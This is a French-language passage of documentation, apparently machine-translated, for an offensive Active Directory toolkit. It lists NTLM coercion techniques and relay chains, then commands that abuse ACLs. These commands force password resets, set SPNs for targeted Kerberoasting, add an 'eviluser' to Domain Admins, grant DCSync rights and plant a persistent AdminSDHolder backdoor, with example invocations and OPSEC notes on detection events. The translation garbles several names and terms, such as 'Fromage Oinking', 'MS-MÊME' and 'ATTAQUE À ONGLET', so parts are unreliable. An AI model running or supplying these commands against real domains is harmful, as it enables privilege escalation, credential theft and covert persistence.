Abusez de l'interface RPC du service de journal d'événements (MS-EVEN) pour forcer l'authentification via ElfrOpenBELW.
Utilisation : cheeseoinking <target> <listener> [DOMAIN\user password]
Comparaison des techniques de coercition¶
| Technique | Interface RPC | Port | Service requis | État du correctif |
|---|---|---|---|---|
| Bogue d'imprimante | MS-RPRN | 445 (SMB) | Spouleur d'impression (Spouleur) | Non corrigé (par conception) |
| PetitPotam | MS-EFSRPC | 445 (SMB) | EFS (lsass.exe) | Partiel (CVE-2021-36942, non-authentification uniquement) |
| DFSCoerce | MS-DFSNM | 445 (SMB) | Espace de noms DFS (DFS) | Non corrigé |
| Coerce de l'Ombre | MS-FSRVP | 445 (SMB) | Agent VSS du serveur de fichiers | Pas largement patché |
| ** Fromage Oinking ** | MS-MÊME | 445 (SMB) | Journal des événements (journal des événements) | Non corrigé |
Flux de travail de coercition commun¶
La coercition est rarement utilisée seule : elle est le déclencheur d'une chaîne de relais NTLM :
- Configurer la cible du relais : Démarrez le listener de relais ESC8 (
esc8 ... --relay) ou configurez le relais LDAP (par exemple, pour l'écriture RBCD) - Déclencher la coercition :
petitpotam <dc> <relay_listener>-- DC s'authentifie auprès du relais - Captures de relais : Authentification relayée vers le service cible (ADCS HTTP, LDAP)
- Exploitation terminée : Certificat délivré (ESC8) ou délégation écrite (RBCD)
OPSEC
Toutes les techniques de coercition génèrent une authentification NTLM sortante à partir de la machine cible. Les produits de sécurité qui surveillent le trafic SMB/RPC inhabituel ou l'authentification NTLM inattendue des contrôleurs de domaine peuvent détecter la coercition. L’authentification forcée par les DC est particulièrement suspecte. ATTAQUE À ONGLET : T1187
Abus de LCA¶
Les listes de contrôle d'accès (ACL) Active Directory définissent les autorisations sur les objets AD. Lorsque les attaquants découvrent qu'ils disposent d'autorisations d'écriture spécifiques sur des objets utilisateur, groupe ou unité organisationnelle, ils peuvent les exploiter pour élever leurs privilèges sans exploiter aucune vulnérabilité logicielle.
acl_pwreset¶
Forcer une réinitialisation du mot de passe via GenericAll ou User-Force-Change-Password ACL sur un utilisateur. Définit l'attribut unicodePwd via LDAP sans connaître le mot de passe actuel.
Utilisation : acl_pwreset <target_user> <new_password> [domain] [dc] [user] [pass]
OPSEC
Les réinitialisations de mot de passe génèrent l'événement de sécurité 4724 (tentative de réinitialisation du mot de passe) et l'événement 4723 (tentative de changement de mot de passe). Les tickets Kerberos de l'utilisateur cible sont invalidés et ils seront verrouillés s'ils ne peuvent pas s'authentifier avec le nouveau mot de passe. ATTAQUE À ONGLET : T1098
acl_setspn¶
Définissez ou modifiez un nom principal de service (SPN) sur un compte utilisateur pour un Kerberoasting ciblé. Une fois qu'un SPN est défini, le ticket de service de l'utilisateur peut être demandé par n'importe quel utilisateur du domaine et piraté hors ligne.
acl_setspn targetuser MSSQLSvc/fake.corp.local:1433 CORP.LOCAL 10.10.10.1
acl_setspn targetuser MSSQLSvc/fake.corp.local:1433 CORP.LOCAL 10.10.10.1 --remove
Utilisation : acl_setspn <target_user> [spn] [domain] [dc] [--remove]
Kerberoasting ciblé
Après avoir défini un SPN, utilisez kerberoast targetuser pour demander et résoudre le ticket de service. N'oubliez pas de supprimer le SPN après avoir obtenu le hachage pour restaurer l'état d'origine.
acl_addmember¶
Ajoutez ou supprimez un utilisateur d'un groupe via GenericAll, GenericWrite ou Self/WriteMember ACL sur l'objet groupe.
acl_addmember "Domain Admins" eviluser CORP.LOCAL 10.10.10.1
acl_addmember "Domain Admins" eviluser CORP.LOCAL 10.10.10.1 --remove
Utilisation : acl_addmember <group> <member> [domain] [dc] [--remove]
OPSEC
Les modifications d'appartenance au groupe génèrent l'événement de sécurité 4728 (membre ajouté au groupe de sécurité) et l'événement 4729 (membre supprimé). L'ajout d'utilisateurs à des groupes sensibles tels que les administrateurs de domaine ou les administrateurs d'entreprise déclenche des alertes immédiates dans la plupart des configurations SIEM.
acl_dcsync¶
Accordez les droits DCSync (DS-Replication-Get-Changes et DS-Replication-Get-Changes-All) à un utilisateur sur l'objet de domaine, lui permettant d'effectuer DCSync pour extraire tous les hachages de mot de passe.
Utilisation : acl_dcsync <trustee> [domain] [dc] [user] [pass] [--remove]
Risque de détection élevé
L'octroi des droits DCSync modifie la DACL du domaine, générant l'événement 5136 (modification du service d'annuaire). De plus, l'opération DCSync réelle génère l'événement 4662 (opération effectuée sur un objet) avec les GUID de réplication. Utilisez --remove pour nettoyer après exploitation.
acl_owner¶
Devenez propriétaire d'un objet AD via l'autorisation WriteOwner ou WriteDACL. Une fois la propriété acquise, le nouveau propriétaire peut modifier la DACL de l'objet pour s'accorder n'importe quelle autorisation.
Utilisation : acl_owner <target> [new_owner] [domain] [dc]
acl_sdhold¶
Abusez de SDPropagator via AdminSDHolder pour rendre les modifications ACL persistantes. Le descripteur de sécurité d'AdminSDHolder est automatiquement appliqué à tous les groupes protégés (administrateurs de domaine, administrateurs d'entreprise, etc.) toutes les 60 minutes par le processus SDProp.
acl_sdhold eviluser full CORP.LOCAL 10.10.10.1
acl_sdhold eviluser dcsync CORP.LOCAL 10.10.10.1
acl_sdhold eviluser CORP.LOCAL 10.10.10.1 --remove
Utilisation : acl_sdhold <trustee> [right:full|write|dcsync] [domain] [dc] [--remove]
Détails techniques : SDPropagator
SDPropagator (SDProp) s'exécute toutes les 60 minutes sur l'émulateur PDC. Il prend le descripteur de sécurité de l'objet AdminSDHolder et l'applique à tous les membres des groupes protégés. En ajoutant un ACE à AdminSDHolder, l'attaquant s'assure que ses autorisations sont automatiquement réappliquées même si un administrateur les supprime d'objets individuels.
Comparaison des abus d'ACL¶
| Technique | Liste de contrôle d'accès requise | Effet | Méthode de nettoyage |
|---|---|---|---|
| acl_pwreset | GenericAll / User-Force-Change-Password | Réinitialiser le mot de passe utilisateur | Réinitialiser le mot de passe (si connu) |
| acl_setspn | GenericAll / GenericWrite / Write-SPN | Activer le Kerberoasting ciblé | acl_setspn ... --remove |
| acl_addmember | GénériqueTous / WriteMember / Soi | Ajouter un utilisateur au groupe privilégié | acl_addmember ... --remove |
| acl_dcsync | WriteDACL sur l'objet de domaine | Accorder les droits DCSync | acl_dcsync ... --remove |
| acl_owner | WriteOwner sur l'objet cible | Devenez propriétaire d'un objet | Restaurer le propriétaire d'origine |
| acl_sdhold | WriteDACL sur AdminSDHolder | Porte dérobée ACL persistante | acl_sdhold ... --remove |